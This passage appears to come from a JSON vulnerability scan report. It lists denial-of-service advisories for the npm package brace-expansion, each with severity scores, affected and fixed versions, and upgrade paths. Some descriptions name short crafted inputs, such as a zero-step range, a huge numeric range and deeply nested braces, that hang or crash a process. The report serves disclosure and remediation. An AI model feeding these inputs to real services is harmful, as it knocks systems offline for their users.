"baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size 